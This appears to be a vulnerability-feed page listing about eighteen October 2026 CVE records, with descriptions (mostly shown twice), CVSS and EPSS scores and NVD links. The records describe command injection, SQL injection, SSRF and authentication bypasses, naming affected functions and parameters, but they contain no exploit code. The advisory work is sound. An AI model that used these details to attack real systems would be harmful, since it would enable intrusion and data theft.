Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav Git Sync 1.0.2 through 3.4.12 contains a command injection vulnerability that allows authenticated content editors to execute OS commands by injecting shell substitutions...
https://kevwire.com/record/CVE-2026-109318
Grav Git Sync 1.0.2 through 3.4.12 contains a command injection vulnerability that allows authenticated content editors to execute OS commands by injecting shell substitutions... (Oct 12, 2026).
Grav Git Sync 1.0.2 through 3.4.12 contains a command injection vulnerability that allows authenticated content editors to execute OS commands by injecting shell substitutions into profile fields. When the gravuser or gravfull author mode is enabled, attackers can set a malicious username, full name, or email that reaches PHP exec() via git commit --author, running commands as the web-server account.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109318).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109318&date=2026-10-25).
Sources:
NVD CVE-2026-109318: https://nvd.nist.gov/vuln/detail/CVE-2026-109318
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109318&date=2026-10-25
Grav Git Sync 1.0.2 through 3.4.12 contains a command injection vulnerability that allows authenticated content editors to execute OS commands by injecting shell substitutions into profile fields. When the gravuser or gravfull author mode is enabled, attackers can set a malicious username, full name, or email that reaches PHP exec() via git commit --author, running commands as the web-server account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains an insecure randomness vulnerability that allows attackers to predict temporary or default account passwords generated by...
https://kevwire.com/record/CVE-2026-63149
Omnispace Agora Project before 26.10.0 contains an insecure randomness vulnerability that allows attackers to predict temporary or default account passwords generated by... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains an insecure randomness vulnerability that allows attackers to predict temporary or default account passwords generated by Txt::defaultPassword() using PHP's uniqid() function based on server time in microseconds. Attackers who observe or approximate the account creation time can compute the predictable password and take over the account before the legitimate user logs in.
CVSS 9.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63149).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63149&date=2026-10-25).
Sources:
NVD CVE-2026-63149: https://nvd.nist.gov/vuln/detail/CVE-2026-63149
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63149&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains an insecure randomness vulnerability that allows attackers to predict temporary or default account passwords generated by Txt::defaultPassword() using PHP's uniqid() function based on server time in microseconds. Attackers who observe or approximate the account creation time can compute the predictable password and take over the account before the legitimate user logs in.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a SQL identifier injection vulnerability that allows a space administrator to escalate privileges by supplying caller-controlled...
https://kevwire.com/record/CVE-2026-63154
Omnispace Agora Project before 26.10.0 contains a SQL identifier injection vulnerability that allows a space administrator to escalate privileges by supplying caller-controlled... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a SQL identifier injection vulnerability that allows a space administrator to escalate privileges by supplying caller-controlled agoraFields[] names as unvalidated SQL column identifiers during the user import flow. Attackers can inject privileged column names such as generalAdmin or use backtick-injection techniques to set administrative flags and escalate to general administrator privileges.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63154).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63154&date=2026-10-25).
Sources:
NVD CVE-2026-63154: https://nvd.nist.gov/vuln/detail/CVE-2026-63154
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63154&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a SQL identifier injection vulnerability that allows a space administrator to escalate privileges by supplying caller-controlled agoraFields[] names as unvalidated SQL column identifiers during the user import flow. Attackers can inject privileged column names such as generalAdmin or use backtick-injection techniques to set administrative flags and escalate to general administrator privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The User Rights Access Manager WordPress plugin through 1.1.3 does not restrict access to one of its AJAX account-registration handlers and assigns newly registered accounts a...
https://kevwire.com/record/CVE-2026-109145
The User Rights Access Manager WordPress plugin through 1.1.3 does not restrict access to one of its AJAX account-registration handlers and assigns newly registered accounts a... (Oct 15, 2026).
The User Rights Access Manager WordPress plugin through 1.1.3 does not restrict access to one of its AJAX account-registration handlers and assigns newly registered accounts a role that was created as a copy of the administrator role, allowing unauthenticated attackers to register an administrator-equivalent account and take over the site.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109145).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109145&date=2026-10-25).
Sources:
NVD CVE-2026-109145: https://nvd.nist.gov/vuln/detail/CVE-2026-109145
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109145&date=2026-10-25
The User Rights Access Manager WordPress plugin through 1.1.3 does not restrict access to one of its AJAX account-registration handlers and assigns newly registered accounts a role that was created as a copy of the administrator role, allowing unauthenticated attackers to register an administrator-equivalent account and take over the site.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### L-SMASH through 2.14.5 contains a double free vulnerability in hevc_setup_first_summary() and h264_setup_first_summary() in importer/nalu_imp.c that frees borrowed codec-specific...
https://kevwire.com/record/CVE-2026-110599
L-SMASH through 2.14.5 contains a double free vulnerability in hevc_setup_first_summary() and h264_setup_first_summary() in importer/nalu_imp.c that frees borrowed codec-specific... (Oct 14, 2026).
L-SMASH through 2.14.5 contains a double free vulnerability in hevc_setup_first_summary() and h264_setup_first_summary() in importer/nalu_imp.c that frees borrowed codec-specific objects on error paths. Attackers can supply a crafted Annex-B elementary stream lacking a parseable SPS to lsmash_read_file() or the boxdumper, remuxer, or muxer tools, causing use-after-free, heap corruption, and crashes.
CVSS 6.9 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110599).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110599&date=2026-10-25).
Sources:
NVD CVE-2026-110599: https://nvd.nist.gov/vuln/detail/CVE-2026-110599
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110599&date=2026-10-25
L-SMASH through 2.14.5 contains a double free vulnerability in hevc_setup_first_summary() and h264_setup_first_summary() in importer/nalu_imp.c that frees borrowed codec-specific objects on error paths. Attackers can supply a crafted Annex-B elementary stream lacking a parseable SPS to lsmash_read_file() or the boxdumper, remuxer, or muxer tools, causing use-after-free, heap corruption, and crashes.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dromara Skyeye through commit 65d3ddcede70 contains an sql injection vulnerability that allows authenticated low-privileged users to inject SQL via the keyword parameter in the...
https://kevwire.com/record/CVE-2026-110609
Dromara Skyeye through commit 65d3ddcede70 contains an sql injection vulnerability that allows authenticated low-privileged users to inject SQL via the keyword parameter in the... (Oct 14, 2026).
Dromara Skyeye through commit 65d3ddcede70 contains an sql injection vulnerability that allows authenticated low-privileged users to inject SQL via the keyword parameter in the queryErpOrderItem MyBatis statement using raw ${} substitution. Attackers can send crafted keyword values to the queryWarehousingDetails or queryOutgoingDetails endpoints to extract database data, including other tenants' data, using boolean, UNION, error or time-based techniques.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110609).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110609&date=2026-10-25).
Sources:
NVD CVE-2026-110609: https://nvd.nist.gov/vuln/detail/CVE-2026-110609
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110609&date=2026-10-25
Dromara Skyeye through commit 65d3ddcede70 contains an sql injection vulnerability that allows authenticated low-privileged users to inject SQL via the keyword parameter in the queryErpOrderItem MyBatis statement using raw ${} substitution. Attackers can send crafted keyword values to the queryWarehousingDetails or queryOutgoingDetails endpoints to extract database data, including other tenants' data, using boolean, UNION, error or time-based techniques.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Yiuman citrus through 0.15.0 contains an ORDER BY sql injection vulnerability in the citrus-support generic query framework that allows users to inject SQL via the sortBy request...
https://kevwire.com/record/CVE-2026-110614
Yiuman citrus through 0.15.0 contains an ORDER BY sql injection vulnerability in the citrus-support generic query framework that allows users to inject SQL via the sortBy request... (Oct 14, 2026).
Yiuman citrus through 0.15.0 contains an ORDER BY sql injection vulnerability in the citrus-support generic query framework that allows users to inject SQL via the sortBy request parameter. Attackers can reach any generic list route of controllers extending BaseQueryController or BaseQueryRestful to append unvalidated SQL to the ORDER BY clause and extract database contents using boolean- or time-based blind techniques.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110614).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110614&date=2026-10-25).
Sources:
NVD CVE-2026-110614: https://nvd.nist.gov/vuln/detail/CVE-2026-110614
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110614&date=2026-10-25
Yiuman citrus through 0.15.0 contains an ORDER BY sql injection vulnerability in the citrus-support generic query framework that allows users to inject SQL via the sortBy request parameter. Attackers can reach any generic list route of controllers extending BaseQueryController or BaseQueryRestful to append unvalidated SQL to the ORDER BY clause and extract database contents using boolean- or time-based blind techniques.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### VentureDrake Laravel CRM before 2.4.0 contains an incorrect authorization vulnerability in user management that allows authenticated administrators to assign unrestricted roles...
https://kevwire.com/record/CVE-2026-110630
VentureDrake Laravel CRM before 2.4.0 contains an incorrect authorization vulnerability in user management that allows authenticated administrators to assign unrestricted roles... (Oct 14, 2026).
VentureDrake Laravel CRM before 2.4.0 contains an incorrect authorization vulnerability in user management that allows authenticated administrators to assign unrestricted roles via Role::find. Attackers with user-management access can assign the Owner role or other teams' roles and delete cross-team users through the unscoped UserIndex delete() method.
CVSS 7.0 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110630).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110630&date=2026-10-25).
Sources:
NVD CVE-2026-110630: https://nvd.nist.gov/vuln/detail/CVE-2026-110630
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110630&date=2026-10-25
VentureDrake Laravel CRM before 2.4.0 contains an incorrect authorization vulnerability in user management that allows authenticated administrators to assign unrestricted roles via Role::find. Attackers with user-management access can assign the Owner role or other teams' roles and delete cross-team users through the unscoped UserIndex delete() method.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Report One MyReport Updater through 2.1.1 exposes an unauthenticated gRPC service on TCP port 9095 that allows remote attackers to redirect the SYSTEM updater by invoking the...
https://kevwire.com/record/CVE-2026-110632
Report One MyReport Updater through 2.1.1 exposes an unauthenticated gRPC service on TCP port 9095 that allows remote attackers to redirect the SYSTEM updater by invoking the... (Oct 14, 2026).
Report One MyReport Updater through 2.1.1 exposes an unauthenticated gRPC service on TCP port 9095 that allows remote attackers to redirect the SYSTEM updater by invoking the UpdateConfigReferent method. Attackers can point the updater to a malicious reference server serving modified module archives with matching MD5 digests to write files and execute code as SYSTEM.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110632).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110632&date=2026-10-25).
Sources:
NVD CVE-2026-110632: https://nvd.nist.gov/vuln/detail/CVE-2026-110632
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110632&date=2026-10-25
Report One MyReport Updater through 2.1.1 exposes an unauthenticated gRPC service on TCP port 9095 that allows remote attackers to redirect the SYSTEM updater by invoking the UpdateConfigReferent method. Attackers can point the updater to a malicious reference server serving modified module archives with matching MD5 digests to write files and execute code as SYSTEM.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### buildebooks before 0.2.2 contains an OS command injection vulnerability in lib/kindle.js that allows attackers to execute commands by supplying a crafted EPUB file name passed to...
https://kevwire.com/record/CVE-2026-110637
buildebooks before 0.2.2 contains an OS command injection vulnerability in lib/kindle.js that allows attackers to execute commands by supplying a crafted EPUB file name passed to... (Oct 14, 2026).
buildebooks before 0.2.2 contains an OS command injection vulnerability in lib/kindle.js that allows attackers to execute commands by supplying a crafted EPUB file name passed to kindlegen via child_process.exec. Attackers can craft a book project with a malicious front-matter filename or project folder name and kindle: true to execute OS commands as the user running buildebooks.
CVSS 8.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110637).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110637&date=2026-10-25).
Sources:
NVD CVE-2026-110637: https://nvd.nist.gov/vuln/detail/CVE-2026-110637
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110637&date=2026-10-25
buildebooks before 0.2.2 contains an OS command injection vulnerability in lib/kindle.js that allows attackers to execute commands by supplying a crafted EPUB file name passed to kindlegen via child_process.exec. Attackers can craft a book project with a malicious front-matter filename or project folder name and kindle: true to execute OS commands as the user running buildebooks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### xhtml2pdf before 0.2.19 contains an OS command injection vulnerability in pisa.startViewer() that allows attackers to execute commands by interpolating unescaped file names into...
https://kevwire.com/record/CVE-2026-110642
xhtml2pdf before 0.2.19 contains an OS command injection vulnerability in pisa.startViewer() that allows attackers to execute commands by interpolating unescaped file names into... (Oct 14, 2026).
xhtml2pdf before 0.2.19 contains an OS command injection vulnerability in pisa.startViewer() that allows attackers to execute commands by interpolating unescaped file names into os.system. Attackers can supply an input file whose name contains a double quote and shell metacharacters, which runs OS commands as the invoking user when the pisa tool is used with -s/--start-viewer.
CVSS 8.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110642).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110642&date=2026-10-25).
Sources:
NVD CVE-2026-110642: https://nvd.nist.gov/vuln/detail/CVE-2026-110642
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110642&date=2026-10-25
xhtml2pdf before 0.2.19 contains an OS command injection vulnerability in pisa.startViewer() that allows attackers to execute commands by interpolating unescaped file names into os.system. Attackers can supply an input file whose name contains a double quote and shell metacharacters, which runs OS commands as the invoking user when the pisa tool is used with -s/--start-viewer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Video-stitch before 2.0.0-beta.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying file names interpolated unquoted into...
https://kevwire.com/record/CVE-2026-110645
Video-stitch before 2.0.0-beta.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying file names interpolated unquoted into... (Oct 14, 2026).
Video-stitch before 2.0.0-beta.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying file names interpolated unquoted into shell-executed ffmpeg command lines. Attackers who influence file names passed to concat(), cut(), or merge() can inject shell metacharacters to run commands with the Node.js process privileges.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110645).
EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110645&date=2026-10-25).
Sources:
NVD CVE-2026-110645: https://nvd.nist.gov/vuln/detail/CVE-2026-110645
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110645&date=2026-10-25
Video-stitch before 2.0.0-beta.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying file names interpolated unquoted into shell-executed ffmpeg command lines. Attackers who influence file names passed to concat(), cut(), or merge() can inject shell metacharacters to run commands with the Node.js process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Turnpress through 0.4.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying .docx files with crafted names.
https://kevwire.com/record/CVE-2026-110647
Turnpress through 0.4.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying .docx files with crafted names. (Oct 14, 2026).
Turnpress through 0.4.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying .docx files with crafted names. The convertDocxToHtml function in src/converter.ts invokes pandoc through execa with shell:true, so shell metacharacters in the --docx path run with the victim's privileges during convert or create.
CVSS 8.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110647).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110647&date=2026-10-25).
Sources:
NVD CVE-2026-110647: https://nvd.nist.gov/vuln/detail/CVE-2026-110647
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110647&date=2026-10-25
Turnpress through 0.4.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying .docx files with crafted names. The convertDocxToHtml function in src/converter.ts invokes pandoc through execa with shell:true, so shell metacharacters in the --docx path run with the victim's privileges during convert or create.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The thumbnail Python package through 1.5 contains an OS command injection vulnerability in generate_thumbnail() that allows attackers to execute commands by supplying shell...
https://kevwire.com/record/CVE-2026-110650
The thumbnail Python package through 1.5 contains an OS command injection vulnerability in generate_thumbnail() that allows attackers to execute commands by supplying shell... (Oct 14, 2026).
The thumbnail Python package through 1.5 contains an OS command injection vulnerability in generate_thumbnail() that allows attackers to execute commands by supplying shell metacharacters in file paths. Attackers who control a file name passed to generate_thumbnail, such as an uploaded file, can inject commands into os.system() calls running ffmpeg, convert or unoconv with the Python process privileges.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110650).
EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110650&date=2026-10-25).
Sources:
NVD CVE-2026-110650: https://nvd.nist.gov/vuln/detail/CVE-2026-110650
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110650&date=2026-10-25
The thumbnail Python package through 1.5 contains an OS command injection vulnerability in generate_thumbnail() that allows attackers to execute commands by supplying shell metacharacters in file paths. Attackers who control a file name passed to generate_thumbnail, such as an uploaded file, can inject commands into os.system() calls running ffmpeg, convert or unoconv with the Python process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_fs_volume_info and smb2_decode_file_fs_attribute_info that allows malicious SMB servers to...
https://kevwire.com/record/CVE-2026-110713
libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_fs_volume_info and smb2_decode_file_fs_attribute_info that allows malicious SMB servers to... (Oct 14, 2026).
libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_fs_volume_info and smb2_decode_file_fs_attribute_info that allows malicious SMB servers to read past reply buffers. Attackers controlling a server or intercepting unsigned sessions can send crafted QUERY_INFO replies with missing or oversized name lengths to crash the client.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110713).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110713&date=2026-10-25).
Sources:
NVD CVE-2026-110713: https://nvd.nist.gov/vuln/detail/CVE-2026-110713
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110713&date=2026-10-25
libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_fs_volume_info and smb2_decode_file_fs_attribute_info that allows malicious SMB servers to read past reply buffers. Attackers controlling a server or intercepting unsigned sessions can send crafted QUERY_INFO replies with missing or oversized name lengths to crash the client.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### TurboDocx html-to-docx through 1.23.1 contains a server-side request forgery vulnerability that allows attackers supplying HTML to make the server fetch internal URLs via img src...
https://kevwire.com/record/CVE-2026-110718
TurboDocx html-to-docx through 1.23.1 contains a server-side request forgery vulnerability that allows attackers supplying HTML to make the server fetch internal URLs via img src... (Oct 14, 2026).
TurboDocx html-to-docx through 1.23.1 contains a server-side request forgery vulnerability that allows attackers supplying HTML to make the server fetch internal URLs via img src attributes. Attackers can reference loopback, private, or cloud metadata addresses that bypass the loose isValidUrl() check, and read responses embedded in the generated DOCX word/media folder.
CVSS 8.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110718).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110718&date=2026-10-25).
Sources:
NVD CVE-2026-110718: https://nvd.nist.gov/vuln/detail/CVE-2026-110718
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110718&date=2026-10-25
TurboDocx html-to-docx through 1.23.1 contains a server-side request forgery vulnerability that allows attackers supplying HTML to make the server fetch internal URLs via img src attributes. Attackers can reference loopback, private, or cloud metadata addresses that bypass the loose isValidUrl() check, and read responses embedded in the generated DOCX word/media folder.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FlexPrice through 2.1.38 contains an authentication bypass vulnerability in HandleQuickBooksWebhook that skips signature verification when the intuit-signature header is omitted.
https://kevwire.com/record/CVE-2026-110765
FlexPrice through 2.1.38 contains an authentication bypass vulnerability in HandleQuickBooksWebhook that skips signature verification when the intuit-signature header is omitted. (Oct 14, 2026).
FlexPrice through 2.1.38 contains an authentication bypass vulnerability in HandleQuickBooksWebhook that skips signature verification when the intuit-signature header is omitted. Unauthenticated attackers knowing a tenant and environment ID can replay forged payment notifications to repeatedly add payment amounts, marking invoices paid or overpaid.
CVSS 8.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110765).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110765&date=2026-10-25).
Sources:
NVD CVE-2026-110765: https://nvd.nist.gov/vuln/detail/CVE-2026-110765
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110765&date=2026-10-25
FlexPrice through 2.1.38 contains an authentication bypass vulnerability in HandleQuickBooksWebhook that skips signature verification when the intuit-signature header is omitted. Unauthenticated attackers knowing a tenant and environment ID can replay forged payment notifications to repeatedly add payment amounts, marking invoices paid or overpaid.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Databasus 3.7.0 through 3.61.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to brute-force password reset codes via POST...
https://kevwire.com/record/CVE-2026-110770
Databasus 3.7.0 through 3.61.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to brute-force password reset codes via POST... (Oct 14, 2026).
Databasus 3.7.0 through 3.61.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to brute-force password reset codes via POST /api/v1/users/reset-password. Attackers can request a six-digit code for a known email, then guess it without rate limiting, lockout, or invalidation to take over accounts, including administrators.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110770).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110770&date=2026-10-25).
Sources:
NVD CVE-2026-110770: https://nvd.nist.gov/vuln/detail/CVE-2026-110770
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110770&date=2026-10-25
